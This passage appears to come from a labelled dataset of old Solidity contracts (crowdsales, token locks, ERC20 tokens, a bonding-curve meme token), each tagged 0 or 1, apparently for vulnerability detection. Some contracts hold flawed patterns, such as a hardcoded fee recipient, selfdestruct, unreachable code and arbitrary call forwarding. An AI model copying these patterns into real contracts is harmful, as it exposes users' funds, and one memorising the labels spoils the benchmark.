enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
event StartsAtChanged(uint startsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
State state = getState();
if (state == State.Funding) {
} else if (state == State.PreFunding) {
if (!earlyParticipantWhitelist[receiver]) {
throw;
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if (tokenAmount == 0) {
throw;
}
if (investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if (isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if (!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint tokenAmount, uint weiAmount) public onlyOwner {
if (weiAmount == 0) {
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
} else {
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
investorCount++;
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParticipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setStartsAt(uint time) onlyOwner {
if (time < now) { throw; }
if (time > endsAt) { throw; }
if (startsAt < now) { throw; }
startsAt = time;
StartsAtChanged(endsAt);
}
function setEndsAt(uint time) onlyOwner {
if (now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedTokenCappedCrowdsale is Crowdsale {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
maximumSellableTokens = _maximumSellableTokens;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30240000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xC9d6f9652e31133027A40f52EdEeab741a55C209;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.24;
library CheckOverflows {
function add(uint256 n1, uint256 n2) internal pure returns(uint256 n3) {
n3 = n1 + n2;
require(n3 >= n1);
return n3;
}
function sub(uint256 n1, uint256 n2) internal pure returns(uint256) {
require(n2 <= n1);
return n1 - n2;
}
function mul(uint256 n1, uint256 n2) internal pure returns(uint256 n3) {
if (n1 == 0 || n2 == 0) {
return 0;
}
n3 = n1 * n2;
require(n3 / n1 == n2);
return n3;
}
function div(uint256 n1, uint256 n2) internal pure returns(uint256) {
return n1 / n2;
}
}
contract Meme {
string public ipfsHash;
address public creator;
uint256 exponent;
uint256 PRECISION;
uint256 public totalSupply;
string public name;
uint256 public decimals;
uint256 public poolBalance;
using CheckOverflows for uint256;
constructor(string _ipfsHash, address _creator, string _name, uint256 _decimals, uint256 _exponent, uint256 _precision) public {
ipfsHash = _ipfsHash;
creator = _creator;
name = _name;
decimals = _decimals;
exponent = _exponent;
PRECISION = _precision;
totalSupply = 100000;
tokenBalances[msg.sender] = 100000;
}
mapping(address => uint256) public tokenBalances;
function curveIntegral(uint256 _t) internal returns(uint256) {
uint256 nexp = exponent.add(1);
return PRECISION.div(nexp).mul(_t ** nexp).div(PRECISION);
}
function mint(uint256 _numTokens) public payable {
uint256 priceForTokens = getMintingPrice(_numTokens);
require(msg.value >= priceForTokens, "Not enough value for total price of tokens");
totalSupply = totalSupply.add(_numTokens);
tokenBalances[msg.sender] = tokenBalances[msg.sender].add(_numTokens);
poolBalance = poolBalance.add(priceForTokens);
if (msg.value > priceForTokens) {
msg.sender.transfer(msg.value.sub(priceForTokens));
}
}
function getMintingPrice(uint256 _numTokens) public view returns(uint256) {
return curveIntegral(totalSupply.add(_numTokens)).sub(poolBalance);
}
function burn(uint256 _numTokens) public {
require(tokenBalances[msg.sender] >= _numTokens, "Not enough owned tokens to burn");
uint256 ethToReturn = getBurningReward(_numTokens);
totalSupply = totalSupply.sub(_numTokens);
poolBalance = poolBalance.sub(ethToReturn);
uint256 fee = ethToReturn.div(100).mul(3);
address(0x45405DAa47EFf12Bc225ddcAC932Ce5ef965B39b).transfer(fee);
msg.sender.transfer(ethToReturn.sub(fee));
}
function getBurningReward(uint256 _numTokens) public view returns(uint256) {
return poolBalance.sub(curveIntegral(totalSupply.sub(_numTokens)));
}
function kill() public {
require(msg.sender == address(0xE76197fAa1C8c4973087d9d79064d2bb6F940946));
selfdestruct(this);
}
}
contract MemeRecorder {
address[] public memeContracts;
constructor() public {}
function addMeme(string _ipfsHash, string _name) public {
Meme newMeme;
newMeme = new Meme(_ipfsHash, msg.sender, _name, 18, 1, 10000000000);
memeContracts.push(newMeme);
}
function getMemes() public view returns(address[]) {
return memeContracts;
}
} | 1 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract BitcoinCard is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "Bitcoin Card";
string public constant symbol = "VD";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 public totalDistributed = 0;
uint256 public totalDistributedr = 990000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function BitcoinCard () public {
owner = msg.sender;
value = 1000e8;
distr(owner, totalDistributedr);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30240000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x750642e7B7B7D36cDA1f7a113569FdC3828216da;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SLAV is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function SLAV() public {
symbol = "SLAV";
name = "SLAV";
decimals = 18;
_totalSupply = 666666666000000000000000000;
balances[0xea95fa7cceeb6bab40b18826fdb2bc51adff908d] = _totalSupply;
Transfer(address(0), 0xea95fa7cceeb6bab40b18826fdb2bc51adff908d, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 |
pragma solidity ^0.4.8;
contract Owned {
address public owner;
function changeOwner(address _addr) onlyOwner {
if (_addr == 0x0) throw;
owner = _addr;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
}
contract Mutex is Owned {
bool locked = false;
modifier mutexed {
if (locked) throw;
locked = true;
_;
locked = false;
}
function unMutex() onlyOwner {
locked = false;
}
}
contract Rental is Owned {
function Rental(address _owner) {
if (_owner == 0x0) throw;
owner = _owner;
}
function offer(address from, uint num) {
}
function claimBalance(address) returns(uint) {
return 0;
}
function exec(address dest) onlyOwner {
if (!dest.call(msg.data)) throw;
}
}
contract Token is Owned, Mutex {
uint ONE = 10**8;
uint price = 5000;
Ledger ledger;
Rental rentalContract;
uint8 rollOverTime = 4;
uint8 startTime = 8;
bool live = false;
address club;
uint lockedSupply = 0;
string public name = "Legends";
uint8 public decimals = 8;
string public symbol = "LGD";
string public version = '1.1';
bool transfersOn = false;
modifier onlyInputWords(uint n) {
if (msg.data.length != (32 * n) + 4) throw;
_;
}
function Token() {
owner = msg.sender;
}
event LedgerUpdated(address,address);
function changeClub(address _addr) onlyOwner {
if (_addr == 0x0) throw;
club = _addr;
}
function changePrice(uint _num) onlyOwner {
price = _num;
}
function safeAdd(uint a, uint b) returns (uint) {
if ((a + b) < a) throw;
return (a + b);
}
function changeLedger(address _addr) onlyOwner {
if (_addr == 0x0) throw;
LedgerUpdated(msg.sender, _addr);
ledger = Ledger(_addr);
}
function changeRental(address _addr) onlyOwner {
if (_addr == 0x0) throw;
rentalContract = Rental(_addr);
}
function changeTimes(uint8 _rollOver, uint8 _start) onlyOwner {
rollOverTime = _rollOver;
startTime = _start;
}
function lock(address _seizeAddr) onlyOwner mutexed {
uint myBalance = ledger.balanceOf(_seizeAddr);
lockedSupply += myBalance;
ledger.setBalance(_seizeAddr, 0);
}
event Dilution(address, uint);
function dilute(address _destAddr, uint amount) onlyOwner {
if (amount > lockedSupply) throw;
Dilution(_destAddr, amount);
lockedSupply -= amount;
uint curBalance = ledger.balanceOf(_destAddr);
curBalance = safeAdd(amount, curBalance);
ledger.setBalance(_destAddr, curBalance);
}
function completeCrowdsale() onlyOwner {
transfersOn = true;
lock(owner);
}
function pauseTransfers() onlyOwner {
transfersOn = false;
}
function resumeTransfers() onlyOwner {
transfersOn = true;
}
function rentOut(uint num) {
if (ledger.balanceOf(msg.sender) < num) throw;
rentalContract.offer(msg.sender, num);
ledger.tokenTransfer(msg.sender, rentalContract, num);
}
function claimUnrented() {
uint amount = rentalContract.claimBalance(msg.sender);
ledger.tokenTransfer(rentalContract, msg.sender, amount);
}
function burn(uint _amount) {
uint balance = ledger.balanceOf(msg.sender);
if (_amount > balance) throw;
ledger.setBalance(msg.sender, balance - _amount);
}
function checkIn(uint _numCheckins) returns(bool) {
int needed = int(price * ONE* _numCheckins);
if (int(ledger.balanceOf(msg.sender)) > needed) {
ledger.changeUsed(msg.sender, needed);
return true;
}
return false;
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function totalSupply() constant returns(uint) {
return ledger.totalSupply();
}
function transfer(address _to, uint _amount) onlyInputWords(2) returns(bool) {
if (!transfersOn && msg.sender != owner) return false;
if (!ledger.tokenTransfer(msg.sender, _to, _amount)) { return false; }
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint _amount) onlyInputWords(3) returns (bool) {
if (!transfersOn && msg.sender != owner) return false;
if (! ledger.tokenTransferFrom(msg.sender, _from, _to, _amount) ) { return false;}
Transfer(msg.sender, _to, _amount);
return true;
}
function allowance(address _from, address _to) constant returns(uint) {
return ledger.allowance(_from, _to);
}
function approve(address _spender, uint _value) returns (bool) {
if ( ledger.tokenApprove(msg.sender, _spender, _value) ) {
Approval(msg.sender, _spender, _value);
return true;
}
return false;
}
function balanceOf(address _addr) constant returns(uint) {
return ledger.balanceOf(_addr);
}
}
contract Ledger is Owned {
uint ONE = 10**8;
uint preMined = 30000000;
mapping (address => uint) balances;
mapping (address => uint) usedToday;
mapping (address => bool) seenHere;
address[] public seenHereA;
mapping (address => mapping (address => uint256)) allowed;
address token;
uint public totalSupply = 0;
function Ledger() {
owner = msg.sender;
seenHere[owner] = true;
seenHereA.push(owner);
totalSupply = preMined *ONE;
balances[owner] = totalSupply;
}
modifier onlyToken {
if (msg.sender != token) throw;
_;
}
modifier onlyTokenOrOwner {
if (msg.sender != token && msg.sender != owner) throw;
_;
}
function tokenTransfer(address _from, address _to, uint amount) onlyToken returns(bool) {
if (amount > balances[_from]) return false;
if ((balances[_to] + amount) < balances[_to]) return false;
if (amount == 0) { return false; }
balances[_from] -= amount;
balances[_to] += amount;
if (seenHere[_to] == false) {
seenHereA.push(_to);
seenHere[_to] = true;
}
return true;
}
function tokenTransferFrom(address _sender, address _from, address _to, uint amount) onlyToken returns(bool) {
if (allowed[_from][_sender] <= amount) return false;
if (amount > balanceOf(_from)) return false;
if (amount == 0) return false;
